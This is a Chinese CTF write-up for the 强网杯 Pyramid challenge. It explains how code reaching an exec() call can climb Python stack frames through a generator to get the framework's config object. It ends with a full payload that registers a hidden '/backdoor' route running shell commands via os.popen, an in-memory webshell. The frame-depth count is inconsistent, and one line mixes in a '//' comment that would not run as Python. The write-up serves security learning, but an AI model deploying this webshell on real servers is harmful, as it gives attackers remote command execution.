← 返回首页

强网杯 Pyramid:栈帧回溯与内存马

2025-11-13

强网杯 Pyramid(栈帧回溯,内存马)

题目源码

奇安信攻防社区-强网杯S8决赛Pyramid框架下内存马的分析构造及RS加密签名伪造

源代码中的闭包

# 应用启动代码 - 这里创建了闭包
with Configurator() as config:  # config在这个with块内创建
    config.add_route('register_front', '/')  
    config.add_route('register_api', '/api/register')  
    config.add_route('system_test', '/api/test')  
    config.add_route('front_test', '/test')  
    config.add_view(system_test, route_name='system_test')  # ← 这里创建闭包!
    config.add_view(register_api, route_name='register_api')  
    config.add_view(register_front, route_name='register_front')  
    app = config.make_wsgi_app()  # config被封装到app中

闭包如何形成

当config.add_view(system_test, route_name='system_test')被执行时:

  1. 外层作用域:with Configurator() as config: 块
    - 包含:config对象、各种路由配置
  2. 内层函数:system_test函数被注册为视图
    - 这个函数记住了它被注册时的环境(包含config对象)
  3. 闭包创建:
# 伪代码表示闭包结构
def create_closure():
    config = Configurator_instance  # 外层变量

    def system_test_closure(request):
        # 这个函数可以访问外层的config,即使在其他地方执行
        return original_system_test(request)

    return system_test_closure

2. 执行时的作用域链

请求处理流程

WSGI服务器 → Pyramid应用(app) → 路由系统 → system_test视图执行

作用域隔离问题

def system_test(request):  # 这个函数被执行时
    code = request.params.get('code', '')
    token = request.params.get('token', '')

    # 问题:在这里,config变量不可见!
    # 因为我们在system_test的函数作用域内
    # config存在于外层闭包作用域中

    exec(code)  # 我们的代码在这里执行

详细的栈帧回溯过程

def waff():
    def f():
        # 当前:f()的栈帧
        yield g.gi_frame.f_back  # 获取调用者(waff)的帧

    g = f()  # 创建生成器
    frame = next(g)  # 此时frame指向waff()的栈帧
    # frame.f_back → 指向system_test的栈帧
    # frame.f_back.f_back → 指向Pyramid框架的栈帧

    b = frame.f_back.f_back.f_globals  # 找到包含config的全局作用域

可视化调用栈

栈层级 | 函数                | 包含的变量
------|---------------------|-------------------
0     | Pyramid框架代码      | config, Response, 等框架对象
1     | system_test()       | request, code, token
2     | waff()              | (空)
3     | f()                 | g
4     | 生成器代码           | (内部)

逐步回溯分析

步骤1:进入生成器

def f():
    yield g.gi_frame.f_back  # g.gi_frame是生成器自己的帧
                             # .f_back指向调用者waff()的帧

步骤2:回到waff()

frame = next(g)  # frame现在指向waff()的栈帧
# frame.f_locals 包含:f, g, frame等
# frame.f_globals 包含:waff函数的全局变量

步骤3:回到system_test()

frame = frame.f_back  # 指向system_test()的栈帧
# frame.f_locals 包含:request, code, token等
# frame.f_globals 还是system_test的全局变量

步骤4:回到Pyramid框架

frame = frame.f_back  # 指向Pyramid框架的栈帧
b = frame.f_globals   # 这里终于包含config对象!

f_back分析

实际的调用关系:

# 实际调用栈(从下往上):
Level 0: Pyramid框架初始化代码
    globals: config, Response, 要找的目标!

Level 1: pyramid.router.py 中的视图调用
    def call_view(...):
        result = view_callable(context, request)  # 调用system_test

Level 2: system_test(request)
    def system_test(request):
        code = request.params.get('code', '')
        exec(code)  # 执行我们的payload

Level 3: waff()
    def waff():
        # 我们的内存马代码

Level 4: f() 
    def f():
        yield g.gi_frame.f_back

所以需要:

5. 完整的内存马注入过程

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()             
    frame = next(g)     

    # 关键回溯:找到包含config的作用域
    target_frame = frame.f_back.f_back.f_back
    b = target_frame.f_globals

    # 现在可以访问框架对象了
    config = b['config']
    Response = b['Response']

    # 定义恶意视图(访问/backdoor路由时会执行)
    def webshell(request):
        cmd = request.params.get('cmd', '')
        import os
        result = os.popen(cmd).read()
        return Response(result)//Pyramid要求返回Response对象或特殊类型,Response对象用于http响应生成

    # 注册内存马
    config.add_route('mem_shell', '/backdoor')
    config.add_view(webshell, route_name='mem_shell')
    config.commit()  # 使配置立即生效

waff()